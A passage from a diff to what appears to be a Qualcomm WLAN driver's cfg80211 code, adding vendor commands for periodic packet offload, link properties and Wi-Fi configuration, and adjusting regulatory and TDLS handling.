+ status = sme_AddPeriodicTxPtrn(hdd_ctx->hHal, add_req); + if (!HAL_STATUS_SUCCESS(status)) + { + hddLog(LOGE, + FL("sme_AddPeriodicTxPtrn failed (err=%d)"), status); + goto fail; + } + + EXIT(); + vos_mem_free(add_req); + return 0; + +fail: + vos_mem_free(add_req); + return -EINVAL; +} + +/** + * wlan_hdd_del_tx_ptrn() - delete tx pattern + * @adapter: adapter pointer + * @hdd_ctx: hdd context + * @tb: nl attributes + * + * This function reads the NL attributes and forms a DelTxPtrn message + * posts it to SME. + * + */ +static int +wlan_hdd_del_tx_ptrn(hdd_adapter_t *adapter, hdd_context_t *hdd_ctx, + struct nlattr **tb) +{ + struct sSirDelPeriodicTxPtrn *del_req; + eHalStatus status; + uint32_t request_id, ret; + uint8_t pattern_id = 0; + + /* Parse and fetch request Id */ + if (!tb[PARAM_REQUEST_ID]) + { + hddLog(LOGE, FL("attr request id failed")); + return -EINVAL; + } + request_id = nla_get_u32(tb[PARAM_REQUEST_ID]); + if (request_id == 0) + { + hddLog(LOGE, FL("request_id cannot be zero")); + return -EINVAL; + } + + ret = hdd_unmap_req_id_to_pattern_id(hdd_ctx, request_id, &pattern_id); + if (ret) + { + hddLog(LOGW, FL("req id to pattern id failed (ret=%d)"), ret); + return -EINVAL; + } + + del_req = vos_mem_malloc(sizeof(*del_req)); + if (!del_req) + { + hddLog(LOGE, FL("memory allocation failed")); + return -ENOMEM; + } + + vos_mem_set(del_req, sizeof(*del_req), 0); + vos_mem_copy(del_req->macAddress, adapter->macAddressCurrent.bytes, + VOS_MAC_ADDR_SIZE); + hddLog(LOG1, MAC_ADDRESS_STR, MAC_ADDR_ARRAY(del_req->macAddress)); + del_req->ucPatternIdBitmap |= (0x1 << pattern_id); + hddLog(LOG1, FL("Request Id: %u Pattern id: %d, bitmap %04x"), + request_id, pattern_id, del_req->ucPatternIdBitmap); + + status = sme_DelPeriodicTxPtrn(hdd_ctx->hHal, del_req); + if (!HAL_STATUS_SUCCESS(status)) + { + hddLog(LOGE, + FL("sme_DelPeriodicTxPtrn failed (err=%d)"), status); + goto fail; + } + + EXIT(); + vos_mem_free(del_req); + return 0; + +fail: + vos_mem_free(del_req); + return -EINVAL; +} + + +/** + * __wlan_hdd_cfg80211_offloaded_packets() - send offloaded packets + * @wiphy: Pointer to wireless phy + * @wdev: Pointer to wireless device + * @data: Pointer to data + * @data_len: Data length + * + * Return: 0 on success, negative errno on failure + */ +static int +__wlan_hdd_cfg80211_offloaded_packets(struct wiphy *wiphy, + struct wireless_dev *wdev, + const void *data, + int data_len) +{ + struct net_device *dev = wdev->netdev; + hdd_adapter_t *adapter = WLAN_HDD_GET_PRIV_PTR(dev); + hdd_context_t *hdd_ctx = wiphy_priv(wiphy); + struct nlattr *tb[PARAM_MAX + 1]; + uint8_t control; + int ret; + static const struct nla_policy policy[PARAM_MAX + 1] = + { + [PARAM_REQUEST_ID] = { .type = NLA_U32 }, + [PARAM_CONTROL] = { .type = NLA_U32 }, + [PARAM_SRC_MAC_ADDR] = { .type = NLA_BINARY, + .len = VOS_MAC_ADDR_SIZE }, + [PARAM_DST_MAC_ADDR] = { .type = NLA_BINARY, + .len = VOS_MAC_ADDR_SIZE }, + [PARAM_PERIOD] = { .type = NLA_U32 }, + }; + + ENTER(); + + ret = wlan_hdd_validate_context(hdd_ctx); + if (0 != ret) + { + hddLog(LOGE, FL("HDD context is not valid")); + return ret; + } + + if (!sme_IsFeatureSupportedByFW(WLAN_PERIODIC_TX_PTRN)) + { + hddLog(LOGE, + FL("Periodic Tx Pattern Offload feature is not supported in FW!")); + return -ENOTSUPP; + } + + if (nla_parse(tb, PARAM_MAX, data, data_len, policy)) + { + hddLog(LOGE, FL("Invalid ATTR")); + return -EINVAL; + } + + if (!tb[PARAM_CONTROL]) + { + hddLog(LOGE, FL("attr control failed")); + return -EINVAL; + } + control = nla_get_u32(tb[PARAM_CONTROL]); + hddLog(LOG1, FL("Control: %d"), control); + + if (control == WLAN_START_OFFLOADED_PACKETS) + return wlan_hdd_add_tx_ptrn(adapter, hdd_ctx, tb); + else if (control == WLAN_STOP_OFFLOADED_PACKETS) + return wlan_hdd_del_tx_ptrn(adapter, hdd_ctx, tb); + else + { + hddLog(LOGE, FL("Invalid control: %d"), control); + return -EINVAL; + } +} + +/* + * done with short names for the global vendor params + * used by __wlan_hdd_cfg80211_offloaded_packets() + */ +#undef PARAM_MAX +#undef PARAM_REQUEST_ID +#undef PARAM_CONTROL +#undef PARAM_IP_PACKET +#undef PARAM_SRC_MAC_ADDR +#undef PARAM_DST_MAC_ADDR +#undef PARAM_PERIOD + +/** + * wlan_hdd_cfg80211_offloaded_packets() - Wrapper to offload packets + * @wiphy: wiphy structure pointer + * @wdev: Wireless device structure pointer + * @data: Pointer to the data received + * @data_len: Length of @data + * + * Return: 0 on success; errno on failure + */ +static int wlan_hdd_cfg80211_offloaded_packets(struct wiphy *wiphy, + struct wireless_dev *wdev, + const void *data, + int data_len) +{ + int ret = 0; + + vos_ssr_protect(__func__); + ret = __wlan_hdd_cfg80211_offloaded_packets(wiphy, + wdev, data, data_len); + vos_ssr_unprotect(__func__); + + return ret; +} +#endif + +static const struct +nla_policy +qca_wlan_vendor_attr_policy[QCA_WLAN_VENDOR_ATTR_MAX+1] = { + [QCA_WLAN_VENDOR_ATTR_MAC_ADDR] = { .type = NLA_UNSPEC }, +}; + +/** + * wlan_hdd_cfg80211_get_link_properties() - This function is used to + * get link properties like nss, rate flags and operating frequency for + * the connection with the given peer. + * @wiphy: WIPHY structure pointer + * @wdev: Wireless device structure pointer + * @data: Pointer to the data received + * @data_len: Length of the data received + * + * This function return the above link properties on success. + * + * Return: 0 on success and errno on failure + */ +static int wlan_hdd_cfg80211_get_link_properties(struct wiphy *wiphy, + struct wireless_dev *wdev, + const void *data, + int data_len) +{ + hdd_context_t *hdd_ctx = wiphy_priv(wiphy); + struct net_device *dev = wdev->netdev; + hdd_adapter_t *adapter = WLAN_HDD_GET_PRIV_PTR(dev); + hdd_station_ctx_t *hdd_sta_ctx; + struct nlattr *tb[QCA_WLAN_VENDOR_ATTR_MAX+1]; + uint8_t peer_mac[VOS_MAC_ADDR_SIZE]; + uint32_t sta_id; + struct sk_buff *reply_skb; + uint32_t rate_flags = 0; + uint8_t nss; + uint8_t final_rate_flags = 0; + uint32_t freq; + v_CONTEXT_t pVosContext = NULL; + ptSapContext pSapCtx = NULL; + + if (0 != wlan_hdd_validate_context(hdd_ctx)) { + hddLog(VOS_TRACE_LEVEL_ERROR, FL("HDD context is not valid")); + return -EINVAL; + } + + if (nla_parse(tb, QCA_WLAN_VENDOR_ATTR_MAX, data, data_len, + qca_wlan_vendor_attr_policy)) { + hddLog(VOS_TRACE_LEVEL_ERROR, FL("Invalid attribute")); + return -EINVAL; + } + + if (!tb[QCA_WLAN_VENDOR_ATTR_MAC_ADDR]) { + hddLog(VOS_TRACE_LEVEL_ERROR, + FL("Attribute peerMac not provided for mode=%d"), + adapter->device_mode); + return -EINVAL; + } + + memcpy(peer_mac, nla_data(tb[QCA_WLAN_VENDOR_ATTR_MAC_ADDR]), + sizeof(peer_mac)); + hddLog(VOS_TRACE_LEVEL_INFO, + FL("peerMac="MAC_ADDRESS_STR" for device_mode:%d"), + MAC_ADDR_ARRAY(peer_mac), adapter->device_mode); + + if (adapter->device_mode == WLAN_HDD_INFRA_STATION || + adapter->device_mode == WLAN_HDD_P2P_CLIENT) { + hdd_sta_ctx = WLAN_HDD_GET_STATION_CTX_PTR(adapter); + if ((hdd_sta_ctx->conn_info.connState != + eConnectionState_Associated) || + !vos_mem_compare(hdd_sta_ctx->conn_info.bssId, peer_mac, + VOS_MAC_ADDRESS_LEN)) { + hddLog(VOS_TRACE_LEVEL_ERROR, + FL("Not Associated to mac "MAC_ADDRESS_STR), + MAC_ADDR_ARRAY(peer_mac)); + return -EINVAL; + } + + nss = 1; //pronto supports only one spatial stream + freq = vos_chan_to_freq( + hdd_sta_ctx->conn_info.operationChannel); + rate_flags = hdd_sta_ctx->conn_info.rate_flags; + + } else if (adapter->device_mode == WLAN_HDD_P2P_GO || + adapter->device_mode == WLAN_HDD_SOFTAP) { + + pVosContext = ( WLAN_HDD_GET_CTX(adapter))->pvosContext; + pSapCtx = VOS_GET_SAP_CB(pVosContext); + if(pSapCtx == NULL){ + VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, + FL("psapCtx is NULL")); + return -ENOENT; + } + + + for (sta_id = 0; sta_id < WLAN_MAX_STA_COUNT; sta_id++) { + if (pSapCtx->aStaInfo[sta_id].isUsed && + !vos_is_macaddr_broadcast( + &pSapCtx->aStaInfo[sta_id].macAddrSTA) && + vos_mem_compare( + &pSapCtx->aStaInfo[sta_id].macAddrSTA, + peer_mac, VOS_MAC_ADDRESS_LEN)) + break; + } + + if (WLAN_MAX_STA_COUNT == sta_id) { + hddLog(VOS_TRACE_LEVEL_ERROR, + FL("No active peer with mac="MAC_ADDRESS_STR), + MAC_ADDR_ARRAY(peer_mac)); + return -EINVAL; + } + + nss = 1; //pronto supports only one spatial stream + freq = vos_chan_to_freq( + (WLAN_HDD_GET_AP_CTX_PTR(adapter))->operatingChannel); + rate_flags = pSapCtx->aStaInfo[sta_id].rate_flags; + } else { + hddLog(VOS_TRACE_LEVEL_ERROR, + FL("Not Associated! with mac"MAC_ADDRESS_STR), + MAC_ADDR_ARRAY(peer_mac)); + return -EINVAL; + } + + if (!(rate_flags & eHAL_TX_RATE_LEGACY)) { + if (rate_flags & eHAL_TX_RATE_VHT80) { + final_rate_flags |= RATE_INFO_FLAGS_VHT_MCS; + final_rate_flags |= RATE_INFO_FLAGS_80_MHZ_WIDTH; + } else if (rate_flags & eHAL_TX_RATE_VHT40) { + final_rate_flags |= RATE_INFO_FLAGS_VHT_MCS; + final_rate_flags |= RATE_INFO_FLAGS_40_MHZ_WIDTH; + } else if (rate_flags & eHAL_TX_RATE_VHT20) { + final_rate_flags |= RATE_INFO_FLAGS_VHT_MCS; + } else if (rate_flags & (eHAL_TX_RATE_HT20 | eHAL_TX_RATE_HT40)) { + final_rate_flags |= RATE_INFO_FLAGS_MCS; + if (rate_flags & eHAL_TX_RATE_HT40) + final_rate_flags |= RATE_INFO_FLAGS_40_MHZ_WIDTH; + } + + if (rate_flags & eHAL_TX_RATE_SGI) { + if (!(final_rate_flags & RATE_INFO_FLAGS_VHT_MCS)) + final_rate_flags |= RATE_INFO_FLAGS_MCS; + final_rate_flags |= RATE_INFO_FLAGS_SHORT_GI; + } + } + + reply_skb = cfg80211_vendor_cmd_alloc_reply_skb(wiphy, + sizeof(u8) + sizeof(u8) + sizeof(u32) + NLMSG_HDRLEN); + + if (NULL == reply_skb) { + hddLog(VOS_TRACE_LEVEL_ERROR, + FL("getLinkProperties: skb alloc failed")); + return -EINVAL; + } + + if (nla_put_u8(reply_skb, + QCA_WLAN_VENDOR_ATTR_LINK_PROPERTIES_NSS, + nss) || + nla_put_u8(reply_skb, + QCA_WLAN_VENDOR_ATTR_LINK_PROPERTIES_RATE_FLAGS, + final_rate_flags) || + nla_put_u32(reply_skb, + QCA_WLAN_VENDOR_ATTR_LINK_PROPERTIES_FREQ, + freq)) { + hddLog(VOS_TRACE_LEVEL_ERROR, FL("nla_put failed")); + kfree_skb(reply_skb); + return -EINVAL; + } + + return cfg80211_vendor_cmd_reply(reply_skb); +} + +#define PARAM_WIFICONFIG_MAX QCA_WLAN_VENDOR_ATTR_CONFIG_MAX +#define PARAM_MODULATED_DTIM QCA_WLAN_VENDOR_ATTR_CONFIG_MODULATED_DTIM +#define PARAM_STATS_AVG_FACTOR QCA_WLAN_VENDOR_ATTR_CONFIG_STATS_AVG_FACTOR +#define PARAM_GUARD_TIME QCA_WLAN_VENDOR_ATTR_CONFIG_GUARD_TIME +#define PARAM_BCNMISS_PENALTY_PARAM_COUNT \ + QCA_WLAN_VENDOR_ATTR_CONFIG_PENALIZE_AFTER_NCONS_BEACON_MISS + +/** + * __wlan_hdd_cfg80211_wifi_configuration_set() - Wifi configuration + * vendor command + * + * @wiphy: wiphy device pointer + * @wdev: wireless device pointer + * @data: Vendor command data buffer + * @data_len: Buffer length + * + * Handles QCA_WLAN_VENDOR_ATTR_CONFIG_MAX. + * + * Return: EOK or other error codes. + */ + +static int __wlan_hdd_cfg80211_wifi_configuration_set(struct wiphy *wiphy, + struct wireless_dev *wdev, + const void *data, + int data_len) +{ + struct net_device *dev = wdev->netdev; + hdd_adapter_t *pAdapter = WLAN_HDD_GET_PRIV_PTR(dev); + hdd_context_t *pHddCtx = wiphy_priv(wiphy); + hdd_station_ctx_t *pHddStaCtx; + struct nlattr *tb[PARAM_WIFICONFIG_MAX + 1]; + tpSetWifiConfigParams pReq; + tModifyRoamParamsReqParams modifyRoamParamsReq; + eHalStatus status; + int ret_val; + static const struct nla_policy policy[PARAM_WIFICONFIG_MAX + 1] = { + [PARAM_STATS_AVG_FACTOR] = { .type = NLA_U16 }, + [PARAM_MODULATED_DTIM] = { .type = NLA_U32 }, + [PARAM_GUARD_TIME] = { .type = NLA_U32}, + [PARAM_BCNMISS_PENALTY_PARAM_COUNT] = + { .type = NLA_U32}, + }; + + ENTER(); + + if (VOS_FTM_MODE == hdd_get_conparam()) { + hddLog(LOGE, FL("Command not allowed in FTM mode")); + return -EINVAL; + } + + ret_val = wlan_hdd_validate_context(pHddCtx); + if (ret_val) { + return ret_val; + } + + pHddStaCtx = WLAN_HDD_GET_STATION_CTX_PTR(pAdapter); + + if (nla_parse(tb, PARAM_WIFICONFIG_MAX, data, data_len, policy)) { + hddLog(LOGE, FL("Invalid ATTR")); + return -EINVAL; + } - ENTER(); + /* check the Wifi Capability */ + if ( (TRUE != pHddCtx->cfg_ini->fEnableWifiConfig) && + (TRUE != sme_IsFeatureSupportedByFW(WIFI_CONFIG))) + { + hddLog(VOS_TRACE_LEVEL_ERROR, + FL("WIFICONFIG not supported by Firmware")); + return -EINVAL; + } - ret = wlan_hdd_validate_context(hdd_ctx); - if (0 != ret) { - hddLog(LOGE, FL("HDD context is not valid")); - return ret; + if (tb[PARAM_BCNMISS_PENALTY_PARAM_COUNT]) { + modifyRoamParamsReq.param = WIFI_CONFIG_SET_BCNMISS_PENALTY_COUNT; + modifyRoamParamsReq.value = + nla_get_u32(tb[PARAM_BCNMISS_PENALTY_PARAM_COUNT]); + + if (eHAL_STATUS_SUCCESS != + sme_setBcnMissPenaltyCount(pHddCtx->hHal,&modifyRoamParamsReq)) + { + hddLog(VOS_TRACE_LEVEL_ERROR, "%s: Failed", __func__); + ret_val = -EINVAL; + } + return ret_val; } - if (nla_parse(tb, QCA_WLAN_VENDOR_ATTR_MAX, data, data_len, - policy)) { - hddLog(LOGE, FL("Invalid ATTR")); - return -EINVAL; + /* Moved this down in order to provide provision to set beacon + * miss penalty count irrespective of connection state. + */ + if (!hdd_connIsConnected(WLAN_HDD_GET_STATION_CTX_PTR(pAdapter))) { + hddLog(LOGE, FL("Not in Connected state!")); + return -ENOTSUPP; } - if (!tb[QCA_WLAN_VENDOR_ATTR_SETBAND_VALUE]) { - hddLog(LOGE, FL("attr QCA_WLAN_VENDOR_ATTR_SETBAND_VALUE failed")); - return -EINVAL; + pReq = vos_mem_malloc(sizeof(tSetWifiConfigParams)); + + if (!pReq) { + VOS_TRACE(VOS_MODULE_ID_SME, VOS_TRACE_LEVEL_ERROR, + "%s: Not able to allocate memory for tSetWifiConfigParams", + __func__); + return eHAL_STATUS_E_MALLOC_FAILED; + } + + vos_mem_set(pReq, sizeof(tSetWifiConfigParams), 0); + + pReq->sessionId = pAdapter->sessionId; + vos_mem_copy( &pReq->bssId, pHddStaCtx->conn_info.bssId, WNI_CFG_BSSID_LEN); + + if (tb[PARAM_MODULATED_DTIM]) { + pReq->paramValue = nla_get_u32( + tb[PARAM_MODULATED_DTIM]); + hddLog(LOG1, FL("Modulated DTIM: pReq->paramValue:%d "), + pReq->paramValue); + pHddCtx->cfg_ini->enableDynamicDTIM = pReq->paramValue; + hdd_set_pwrparams(pHddCtx); + if (BMPS == pmcGetPmcState(pHddCtx->hHal)) { + hddLog( LOG1, FL("WifiConfig: Requesting FullPower!")); + + sme_RequestFullPower(WLAN_HDD_GET_HAL_CTX(pAdapter), + iw_full_power_cbfn, pAdapter, + eSME_FULL_PWR_NEEDED_BY_HDD); + } + else + { + hddLog( LOG1, FL("WifiConfig Not in BMPS state")); + } } - hdd_ctx->isSetBandByNL = TRUE; - ret = hdd_setBand(dev, - nla_get_u32(tb[QCA_WLAN_VENDOR_ATTR_SETBAND_VALUE])); - hdd_ctx->isSetBandByNL = FALSE; + if (tb[PARAM_STATS_AVG_FACTOR]) { + pReq->paramType = WIFI_CONFIG_SET_AVG_STATS_FACTOR; + pReq->paramValue = nla_get_u16( + tb[PARAM_STATS_AVG_FACTOR]); + hddLog(LOG1, FL("AVG_STATS_FACTOR pReq->paramType:%d,pReq->paramValue:%d "), + pReq->paramType, pReq->paramValue); + status = sme_set_wificonfig_params(pHddCtx->hHal, pReq); + + if (eHAL_STATUS_SUCCESS != status) + { + vos_mem_free(pReq); + pReq = NULL; + ret_val = -EPERM; + return ret_val; + } + } + + + if (tb[PARAM_GUARD_TIME]) { + pReq->paramType = WIFI_CONFIG_SET_GUARD_TIME; + pReq->paramValue = nla_get_u32( + tb[PARAM_GUARD_TIME]); + hddLog(LOG1, FL("GUARD_TIME pReq->paramType:%d,pReq->paramValue:%d "), + pReq->paramType, pReq->paramValue); + status = sme_set_wificonfig_params(pHddCtx->hHal, pReq); + + if (eHAL_STATUS_SUCCESS != status) + { + vos_mem_free(pReq); + pReq = NULL; + ret_val = -EPERM; + return ret_val; + } + + } EXIT(); - return ret; + return ret_val; } /** - * wlan_hdd_cfg80211_setband() - Wrapper to offload packets - * @wiphy: wiphy structure pointer - * @wdev: Wireless device structure pointer - * @data: Pointer to the data received - * @data_len: Length of @data + * wlan_hdd_cfg80211_wifi_configuration_set() - Wifi configuration + * vendor command * - * Return: 0 on success; errno on failure + * @wiphy: wiphy device pointer + * @wdev: wireless device pointer + * @data: Vendor command data buffer + * @data_len: Buffer length + * + * Handles QCA_WLAN_VENDOR_ATTR_CONFIG_MAX. + * + * Return: EOK or other error codes. */ -static int wlan_hdd_cfg80211_setband(struct wiphy *wiphy, - struct wireless_dev *wdev, - const void *data, - int data_len) +static int wlan_hdd_cfg80211_wifi_configuration_set(struct wiphy *wiphy, + struct wireless_dev *wdev, + const void *data, + int data_len) { - int ret = 0; + int ret; vos_ssr_protect(__func__); - ret = __wlan_hdd_cfg80211_setband(wiphy, - wdev, data, data_len); + ret = __wlan_hdd_cfg80211_wifi_configuration_set(wiphy, wdev, + data, data_len); vos_ssr_unprotect(__func__); return ret; } - const struct wiphy_vendor_command hdd_wiphy_vendor_commands[] = { { @@ -5404,19 +7554,19 @@ const struct wiphy_vendor_command hdd_wiphy_vendor_commands[] = }, { .info.vendor_id = QCA_NL80211_VENDOR_ID, - .info.subcmd = QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_SET_SIGNIFICANT_CHANGE, + .info.subcmd = QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_SET_SSID_HOTLIST, .flags = WIPHY_VENDOR_CMD_NEED_WDEV | WIPHY_VENDOR_CMD_NEED_NETDEV | WIPHY_VENDOR_CMD_NEED_RUNNING, - .doit = wlan_hdd_cfg80211_extscan_set_significant_change + .doit = wlan_hdd_cfg80211_extscan_set_ssid_hotlist }, { .info.vendor_id = QCA_NL80211_VENDOR_ID, - .info.subcmd = QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_RESET_SIGNIFICANT_CHANGE, + .info.subcmd = QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_RESET_SSID_HOTLIST, .flags = WIPHY_VENDOR_CMD_NEED_WDEV | WIPHY_VENDOR_CMD_NEED_NETDEV | WIPHY_VENDOR_CMD_NEED_RUNNING, - .doit = wlan_hdd_cfg80211_extscan_reset_significant_change + .doit = wlan_hdd_cfg80211_extscan_reset_ssid_hotlist }, #endif /* WLAN_FEATURE_EXTSCAN */ /*EXT TDLS*/ @@ -5471,6 +7621,14 @@ const struct wiphy_vendor_command hdd_wiphy_vendor_commands[] = WIPHY_VENDOR_CMD_NEED_NETDEV, .doit = wlan_hdd_cfg80211_get_concurrency_matrix }, + { + .info.vendor_id = QCA_NL80211_VENDOR_ID, + .info.subcmd = QCA_NL80211_VENDOR_SUBCMD_WIFI_LOGGER_MEMORY_DUMP, + .flags = WIPHY_VENDOR_CMD_NEED_WDEV | + WIPHY_VENDOR_CMD_NEED_NETDEV | + WIPHY_VENDOR_CMD_NEED_RUNNING, + .doit = wlan_hdd_cfg80211_get_fw_mem_dump + }, { .info.vendor_id = QCA_NL80211_VENDOR_ID, .info.subcmd = QCA_NL80211_VENDOR_SUBCMD_SETBAND, @@ -5478,6 +7636,63 @@ const struct wiphy_vendor_command hdd_wiphy_vendor_commands[] = WIPHY_VENDOR_CMD_NEED_NETDEV | WIPHY_VENDOR_CMD_NEED_RUNNING, .doit = wlan_hdd_cfg80211_setband + }, + { + .info.vendor_id = QCA_NL80211_VENDOR_ID, + .info.subcmd = QCA_NL80211_VENDOR_SUBCMD_WIFI_LOGGER_START, + .flags = WIPHY_VENDOR_CMD_NEED_WDEV | + WIPHY_VENDOR_CMD_NEED_NETDEV, + .doit = wlan_hdd_cfg80211_wifi_logger_start + }, + { + .info.vendor_id = QCA_NL80211_VENDOR_ID, + .info.subcmd = QCA_NL80211_VENDOR_SUBCMD_GET_WIFI_INFO, + .flags = WIPHY_VENDOR_CMD_NEED_WDEV | + WIPHY_VENDOR_CMD_NEED_NETDEV| + WIPHY_VENDOR_CMD_NEED_RUNNING, + .doit = wlan_hdd_cfg80211_get_wifi_info + }, + { + .info.vendor_id = QCA_NL80211_VENDOR_ID, + .info.subcmd = QCA_NL80211_VENDOR_SUBCMD_GET_RING_DATA, + .flags = WIPHY_VENDOR_CMD_NEED_WDEV | + WIPHY_VENDOR_CMD_NEED_NETDEV | + WIPHY_VENDOR_CMD_NEED_RUNNING, + .doit = wlan_hdd_cfg80211_wifi_logger_get_ring_data + }, + { + .info.vendor_id = QCA_NL80211_VENDOR_ID, + .info.subcmd = QCA_NL80211_VENDOR_SUBCMD_MONITOR_RSSI, + .flags = WIPHY_VENDOR_CMD_NEED_WDEV | + WIPHY_VENDOR_CMD_NEED_NETDEV | + WIPHY_VENDOR_CMD_NEED_RUNNING, + .doit = wlan_hdd_cfg80211_monitor_rssi + }, +#ifdef WLAN_FEATURE_OFFLOAD_PACKETS + { + .info.vendor_id = QCA_NL80211_VENDOR_ID, + .info.subcmd = QCA_NL80211_VENDOR_SUBCMD_OFFLOADED_PACKETS, + .flags = WIPHY_VENDOR_CMD_NEED_WDEV | + WIPHY_VENDOR_CMD_NEED_NETDEV | + WIPHY_VENDOR_CMD_NEED_RUNNING, + .doit = wlan_hdd_cfg80211_offloaded_packets + }, +#endif + { + .info.vendor_id = QCA_NL80211_VENDOR_ID, + .info.subcmd = QCA_NL80211_VENDOR_SUBCMD_LINK_PROPERTIES, + .flags = WIPHY_VENDOR_CMD_NEED_WDEV | + WIPHY_VENDOR_CMD_NEED_NETDEV | + WIPHY_VENDOR_CMD_NEED_RUNNING, + .doit = wlan_hdd_cfg80211_get_link_properties + }, + { + .info.vendor_id = QCA_NL80211_VENDOR_ID, + .info.subcmd = QCA_NL80211_VENDOR_SUBCMD_SET_WIFI_CONFIGURATION, + .flags = WIPHY_VENDOR_CMD_NEED_WDEV | + WIPHY_VENDOR_CMD_NEED_NETDEV | + WIPHY_VENDOR_CMD_NEED_RUNNING, + .doit = wlan_hdd_cfg80211_wifi_configuration_set } }; @@ -5566,15 +7781,19 @@ struct nl80211_vendor_cmd_info wlan_hdd_cfg80211_vendor_events[] = }, { .vendor_id = QCA_NL80211_VENDOR_ID, - .subcmd = QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_SIGNIFICANT_CHANGE + .subcmd = QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_SET_SSID_HOTLIST }, { .vendor_id = QCA_NL80211_VENDOR_ID, - .subcmd = QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_SET_SIGNIFICANT_CHANGE + .subcmd = QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_RESET_SSID_HOTLIST }, - { + [QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_HOTLIST_SSID_FOUND_INDEX] = { + .vendor_id = QCA_NL80211_VENDOR_ID, + .subcmd = QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_HOTLIST_SSID_FOUND + }, + [QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_HOTLIST_SSID_LOST_INDEX] = { .vendor_id = QCA_NL80211_VENDOR_ID, - .subcmd = QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_RESET_SIGNIFICANT_CHANGE + .subcmd = QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_HOTLIST_SSID_LOST }, #endif /* WLAN_FEATURE_EXTSCAN */ /*EXT TDLS*/ @@ -5582,12 +7801,30 @@ struct nl80211_vendor_cmd_info wlan_hdd_cfg80211_vendor_events[] = .vendor_id = QCA_NL80211_VENDOR_ID, .subcmd = QCA_NL80211_VENDOR_SUBCMD_TDLS_STATE }, + [QCA_NL80211_VENDOR_SUBCMD_WIFI_LOGGER_MEMORY_DUMP_INDEX] = { + .vendor_id = QCA_NL80211_VENDOR_ID, + .subcmd = QCA_NL80211_VENDOR_SUBCMD_WIFI_LOGGER_MEMORY_DUMP + }, + { .vendor_id = QCA_NL80211_VENDOR_ID, .subcmd = QCA_NL80211_VENDOR_SUBCMD_NAN }, + { + .vendor_id = QCA_NL80211_VENDOR_ID, + .subcmd = QCA_NL80211_VENDOR_SUBCMD_GET_WIFI_INFO, + }, + [QCA_NL80211_VENDOR_SUBCMD_MONITOR_RSSI_INDEX] = { + .vendor_id = QCA_NL80211_VENDOR_ID, + .subcmd = QCA_NL80211_VENDOR_SUBCMD_MONITOR_RSSI + }, + [QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_HOTLIST_AP_LOST_INDEX] = { + .vendor_id = QCA_NL80211_VENDOR_ID, + .subcmd = QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_HOTLIST_AP_LOST + }, + }; /* @@ -5699,7 +7936,11 @@ int wlan_hdd_cfg80211_init(struct device *dev, #ifndef CONFIG_ENABLE_LINUX_REG /* the flag for the other case would be initialzed in vos_init_wiphy_from_nv_bin */ +#if (LINUX_VERSION_CODE >= KERNEL_VERSION(3,14,0)) + wiphy->regulatory_flags |= REGULATORY_STRICT_REG; +#else wiphy->flags |= WIPHY_FLAG_STRICT_REGULATORY; +#endif #endif /* This will disable updating of NL channels from passive to @@ -5717,7 +7958,7 @@ int wlan_hdd_cfg80211_init(struct device *dev, | WIPHY_FLAG_HAS_REMAIN_ON_CHANNEL | WIPHY_FLAG_OFFCHAN_TX; #if (LINUX_VERSION_CODE >= KERNEL_VERSION(3,14,0)) - wiphy->regulatory_flags = REGULATORY_COUNTRY_IE_IGNORE; + wiphy->regulatory_flags |= REGULATORY_COUNTRY_IE_IGNORE; #else wiphy->country_ie_pref = NL80211_COUNTRY_IE_IGNORE_CORE; #endif @@ -5807,7 +8048,6 @@ int wlan_hdd_cfg80211_init(struct device *dev, { wlan_hdd_band_2_4_GHZ.ht_cap.cap &= ~IEEE80211_HT_CAP_SGI_20; wlan_hdd_band_5_GHZ.ht_cap.cap &= ~IEEE80211_HT_CAP_SGI_20; - wlan_hdd_band_p2p_2_4_GHZ.ht_cap.cap &= ~IEEE80211_HT_CAP_SGI_20; } if( !pCfg->ShortGI40MhzEnable ) @@ -8352,7 +10592,10 @@ int __wlan_hdd_cfg80211_change_iface( struct wiphy *wiphy, pAdapter->device_mode = (type == NL80211_IFTYPE_STATION) ? WLAN_HDD_INFRA_STATION: WLAN_HDD_P2P_CLIENT; } - hdd_set_conparam(0); + + /* set con_mode to STA only when no SAP concurrency mode */ + if (!(hdd_get_concurrency_mode() & (VOS_SAP | VOS_P2P_GO))) + hdd_set_conparam(0); pHddCtx->change_iface = type; memset(&pAdapter->sessionCtx, 0, sizeof(pAdapter->sessionCtx)); hdd_set_station_ops( pAdapter->dev ); @@ -8689,12 +10932,25 @@ static int wlan_hdd_tdls_add_station(struct wiphy *wiphy, ret = wait_for_completion_interruptible_timeout(&pAdapter->tdls_add_station_comp, msecs_to_jiffies(WAIT_TIME_TDLS_ADD_STA)); + mutex_lock(&pHddCtx->tdls_lock); + pTdlsPeer = wlan_hdd_tdls_find_peer(pAdapter, mac, FALSE); + + if ((pTdlsPeer != NULL) && + (pTdlsPeer->link_status == eTDLS_LINK_TEARING)) + { + hddLog(VOS_TRACE_LEVEL_ERROR, + FL("peer link status %u"), pTdlsPeer->link_status); + mutex_unlock(&pHddCtx->tdls_lock); + goto error; + } + mutex_unlock(&pHddCtx->tdls_lock); + if (ret <= 0) { VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, "%s: timeout waiting for tdls add station indication %ld", __func__, ret); - return -EPERM; + goto error; } if ( eHAL_STATUS_SUCCESS != pAdapter->tdlsAddStaStatus) @@ -8875,11 +11131,10 @@ static int __wlan_hdd_change_station(struct wiphy *wiphy, } if (pHddCtx->cfg_ini->fEnableTDLSWmmMode && - (params->sta_flags_set & BIT(NL80211_STA_FLAG_WME))) { - + (params->ht_capa || params->vht_capa || + (params->sta_flags_set & BIT(NL80211_STA_FLAG_WME)))) /* TDLS Peer is WME/QoS capable */ isQosWmmSta = TRUE; - } VOS_TRACE(VOS_MODULE_ID_HDD, 